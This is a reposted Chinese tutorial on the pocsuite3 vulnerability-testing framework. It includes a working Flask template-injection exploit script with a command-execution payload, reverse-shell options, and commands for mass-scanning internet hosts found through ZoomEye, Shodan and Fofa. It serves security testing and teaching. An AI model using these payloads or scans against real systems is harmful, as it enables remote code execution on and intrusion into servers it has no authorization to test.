pocsuite3安装及使用

news2024/9/29 0:20:53

pocsuite3安装及使用

  • 简介
  • 项目地址
  • 环境配置及安装
    • 环境要求
    • 安装（详情可以参考[https://pocsuite.org/](https://pocsuite.org/)）
  • 使用方法
    • 运行模块
    • 加载目标参数：
  • Console模式
    • 查看有哪些模块
    • 使用Telnet 弱密码模块
    • 这里以flask模板注入漏洞为例
  • pocsuite3 编写POC脚本
    • 批量验证方式
  • pocsuite3 编写EXP脚本
  • pocsuite3 编写console 形式
  • 调用搜索引擎接口
    • Zoomeye搜索引擎
    • Shodan搜索引擎
    • Fofa搜索引擎
    • 从Seebug调用poc

简介

pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。

项目地址

https://github.com/knownsec/pocsuite3

环境配置及安装

环境要求

  • Python 3.4+
  • Linux, Windows, Mac OSX, BSD

安装（详情可以参考https://pocsuite.org/）

直接pip3安装

pip3 install pocsuite3

或者下载最新的解压

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
pip3 install -r requirements.txt

在Windows中

进入pocsuite目录，执行python3 cli.py

查看帮助信息 python3 cli.py -h

输出这样即为pocsuite3 安装成功
在这里插入图片描述
在Linux中
直接输入pocsuite
在这里插入图片描述

使用方法

具体方法可以python cli.py -h或者pocsuite -h来自行查看

运行模块

--verity 验证    POC

--attack 攻击   exp

--shell

加载目标参数：

-u	选择单个目标
-f	从文件中导入多个目标，
-r	选择poc
-c	从配置文件中导入
-threads	设置线程

verify 模式：验证目标是否存在漏洞

pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify

attack 模式：向目标发起有效的攻击

pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack

批量验证，将url写到一个txt

pocsuite3 -r test/poc_example.py -f url.txt --verify

加载 tests 目录下的所有 PoC 对目标进行测试（可以充当扫描器角色）

pocsuite3 -r tests/ -u http://www.example.com --verify

使用多线程，默认线程数为1

pocsuite3 -r test/ -f url.txt --verify --threads 10

Console模式

类似于msf
python console.py或者poc-console

查看有哪些模块

 list

在这里插入图片描述

使用Telnet 弱密码模块

Pocsuite3 > use pocs\telnet_burst
Pocsuite3 (pocs\telnet_burst) > show options
Pocsuite3 (pocs\telnet_burst) > set rhost 192.168.8.1
Pocsuite3 (pocs\telnet_burst) > set rport 23
run

这里以flask模板注入漏洞为例

pocsuite3 编写POC脚本

主要编写poc定义的函数部分去做验证

在这里插入图片描述

poc-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
 
 
class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['flask']
    name = 'flask'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        flask
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _verify(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        payload = "{{22*22}}"
        #print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_output(result)
 
    def _attack(self):
        return self._verify()
 
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
register_poc(DemoPOC)

命令行

python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify

在这里插入图片描述

否则不存在
在这里插入图片描述

批量验证方式

python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"

搜索漏洞关键字flask, http协议的网址
在这里插入图片描述
失败，没扫出来
在这里插入图片描述

pocsuite3 编写EXP脚本

主要编写exp定义的函数部分去做攻击
在这里插入图片描述
exp-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
 
 
class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['1.1']
    name = 'flack'
    appPowerLink = 'flack'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o
 
    def _verify(self):
        output = Output(self)
        result = {}
 
    def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        #print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_attack(result)
 
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
 
register_poc(DemoPOC)

payload如下：

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

命令行

python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig

在这里插入图片描述
在这里插入图片描述

pocsuite3 编写console 形式

在这里插入图片描述
在这里插入图片描述

调用搜索引擎接口

参数

–dork DORK	            Zoomeye Dork ，用于在ZoomEye 搜索目标
–max-page MAX_PAGE	    ZoomEye API 的请求翻页数（10 目标/页）
–search-type	        ZoomEye API 搜索类型，web 或者 host
–vul-keyword VULKEYWORD	Seebug 搜索关键词，用于在Seebug 搜索漏洞POC

Zoomeye搜索引擎

使用ZoomEye搜索ecshop并使用ecshop_rce.py探测，指定线程数量为5

python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5

从ZoomEye中调用host批量验证某个POC

pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify

Shodan搜索引擎

python3 cli.py -r pocs/redis_unauthorized_access.py --dork-shodan “product:redis”  --shodan-token  “xxxx”

Fofa搜索引擎

 python3 cli.py -r pocs/redis_unauthorized_access.py --dork-fofa "service:redis"  --fofa-user “xxx"  --fofa-token “xxx"

从Seebug调用poc

使用ZoomEye搜索服务为redis的目标，调用SSV-89339的poc来验证漏洞。

pocsuite -r ssvid-89339  --dork service:redis --max-page 1 --threads 10

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/398955.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

阿里云短信验证

阿里云短信验证

1.了解阿里云用户权限操作 需要通过个人账户获得 授权码（id、密码），再通过这些信息获得服务 阿里云网址 ：https://www.aliyun.com/ 1.登陆阿里云服务器2.进入个人账号然后点击 AccessKey 管理3.创建用户组4.添加用户组权限&…
阅读更多...
SYSU程设c++（第三周） 对象类、类的成员、类与结构体的区别、类的静态成员

SYSU程设c++（第三周） 对象类、类的成员、类与结构体的区别、类的静态成员

对象&类 类用于指定对象的形式，它包含数据的表示方法和用于处理数据的方法。 • 类中的数据和方法称为类的成员。 • 函数在一个类中也被称为类的成员。 定义一个类，其效果是定义一个数据类型的蓝图。它定义了类的对象包括了什么，以及可…
阅读更多...
C++基础了解-08-C++运算符

C++基础了解-08-C++运算符

C运算符 一、C 运算符 运算符是一种告诉编译器执行特定的数学或逻辑操作的符号。C 内置了丰富的运算符，并提供了以下类型的运算符： 算术运算符 关系运算符 逻辑运算符 位运算符 赋值运算符 杂项运算符 二、算术运算符 下表显示了 C 支持的算术运算符…
阅读更多...
led灯性价比最高的是哪款？2023最新的哪种led灯质量比较好

led灯性价比最高的是哪款？2023最新的哪种led灯质量比较好

Led作为一种固态半导体，具有自发光、高可控性的特点，高效节能，省电环保，并且根据材料的不同，发出的光线颜色也不同，因此广泛用于各种照明灯具，台灯也不例外。 作为一种适合工作学习或者工作休闲…
阅读更多...
跑步耳机入耳好还是不入耳好、十大跑步运动耳机品牌排行榜推荐

跑步耳机入耳好还是不入耳好、十大跑步运动耳机品牌排行榜推荐

健身房经常会播放一些节奏较快的歌曲，这样能够激发大家在运动过程中的动力，所以运动时聆听音乐确实比较有效果，居家运动、室外跑步时选择运动耳机就变成了刚需，首先不能影响其他人、佩戴时要稳定，音质和续航要有保证&a…
阅读更多...
npm install 原理

npm install 原理

npm基本使用node.jsNode.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时环境。在任何地方安装了node，那么就可以运行JavaScript。所以在服务器上就可以运行js了。js就全栈了。node安装的同时就安装了npm。直接去官网下载，双击安装即可。安装完毕之后…
阅读更多...
java基于springboot仓库管理系统的设计与实现

java基于springboot仓库管理系统的设计与实现

项目介绍 基于 SpringBoot 的仓库管理系统拥有多种角色，可供用户自定义使用。 功能模块 一、业务模块 1、客户管理 2、供应商管理 3、商品管理 4、商品进货管理 5、商品退货管理 6、商品销售管理 7、商品销售退货管理 二、系统模块 菜单管理，角色管…
阅读更多...
Java高级工程师特别熟悉的js基础 | 面向对象编程/原型链/继承

Java高级工程师特别熟悉的js基础 | 面向对象编程/原型链/继承

面向对象编程/原型链/继承 面向对象编程 什么是面向对象编程？ 面向对象是⼀种编程思想，经常被拿来和⾯面向过程⽐比较。其实说的简单点，面向过程关注的重点是动词，是分析出解决问题需要的步骤，然后编写函数实现每个步…
阅读更多...
WIFI标签操作步骤

WIFI标签操作步骤

1. 打开并设置手机WIFI热点，设置SSID为ESL，密码为123456789（如下图） ​ 2. 运行APP，设置要接入的WIFI名称密码等信息（如下图） ​ 3. 长按背面按键（长按2-3秒）&#xff0c…
阅读更多...
TypeScript 深度剖析:TypeScript 的理解？与 JavaScript 的区别？

TypeScript 深度剖析:TypeScript 的理解？与 JavaScript 的区别？

一、是什么 TypeScript 是 JavaScript 的类型的超集，支持ES6语法，支持面向对象编程的概念，如类、接口、继承、泛型等 超集，不得不说另外一个概念，子集，怎么理解这两个呢，举个例子，如…
阅读更多...
MYSQL 最大连接数

MYSQL 最大连接数

MYSQL 最大连接数？ 最大连接数也就是mysql服务最大支持多少客户端连接服务 查看服务支持最大连接数： show variables like %max_connections%;如下: 如何查看 MYSQL 服务被多少个客户端连接了？ show processlist;如下： 其中 …
阅读更多...
数位dp--Windy数

数位dp--Windy数

题目 思路 大体思路其实也跟第一篇博客类似，用前缀和的思想处理区间的方案数，然后求方案数则是通过把每一位数都拆分来，然后根据两种选择0-an-1和选an两种情况进行判断，但是因为前导零会对结果产生不一样的结果（比如0…
阅读更多...
企业的ICP域名注册，你知道吗？

企业的ICP域名注册，你知道吗？

ICP域名备案查询的api接口，是企业在短时间内获得中沃公司最新数据的API接口。还可以帮助用户快速了解公司信息。基于域名的注册信息实时查询，适合对注册信息变更及时性要求较高的用户。通过ICP信息可以确认企业在互联网中的更多活动轨迹。企业的ICP域名注…
阅读更多...
漏洞分析丨cve20110104

漏洞分析丨cve20110104

作者丨黑蛋目标程序调试工具16进制编辑器XP SP3office 2003ollydbg010Editor三、漏洞验证首先我们配置环境，并下载poc：使用ollydbg附加office excel 2003：打开poc可以看到发生了访问违规异常，像地址0x51453844中写入时发生异常&am…
阅读更多...
【专项训练】分治、回溯

【专项训练】分治、回溯

分治、回溯其实就是递归，只是是递归的一个细分，是一种特殊的递归 碰到一个题目，你就找他的重复性 最近重复性：根据重复性怎么构造以及如何分解，包括：分治、回溯 最优重复性：动态规划 本质：找重复性、分解问题、组合子问题的结果 回溯：试错！ 50. Pow(x, n) https:…
阅读更多...
sivalco使用测试pin正向导通

sivalco使用测试pin正向导通

在学完功率半导体器件后，为了能够更好的了解功率半导体器件内部的相关性质，于是利用sivalco软件进行仿真，对于器件工作时相关数据进行分析，对于相关语句进行学习。 在功率半导体中以N或者P半导体进行掺杂获得我们所需要的器件&…
阅读更多...
linux重置root用户密码

linux重置root用户密码

重置root密码 法一：rd.break 第 1 步：重启系统编辑内核参数 第 2 步：找到 linux 这行，在此行末尾空格后输入rd.break （End键也可直接进入行尾） 成功后显示页面为： 第 3 步：查看。…
阅读更多...
华为HCIE学习之Openstack Cinder组件（cinder对接glusterfs）

华为HCIE学习之Openstack Cinder组件（cinder对接glusterfs）

文章目录一、MQ的作用二、cinder架构图三、各组件的作用四、cinder对接glusterfs一、MQ的作用 服务内各组件交互通过MQ进行 二、cinder架构图 IET，Linux用软件做存储，CNA识别过去就是IETTGT，物理存储，CNA识别过去就是TGT 三、…
阅读更多...
十、FilterListenerAjax案例

十、FilterListenerAjax案例

1，Filter 1.1 Filter概述 Filter 表示过滤器，是 JavaWeb 三大组件(Servlet、Filter、Listener)之一。Servlet 我们之前都已经学习过了，Filter和Listener 我们今天都会进行学习。 过滤器可以把对资源的请求拦截下来，从而实现一些…
阅读更多...
公司的代理怎么用

公司的代理怎么用

前一阵子用公司的服务器玩docker的时候，发现拉取不了远程镜像。咨询了一下网络管理员，说是非常时期，外网权限全部关闭。这严重阻碍了我的求知欲望。于是想到了使用代理。这里简单解释一下，很多大型公司为了确保网络安全&#xff0…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023